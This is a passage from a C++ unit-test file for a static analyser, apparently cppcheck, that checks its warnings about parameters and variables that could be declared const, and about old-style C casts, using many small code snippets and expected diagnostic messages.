declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; 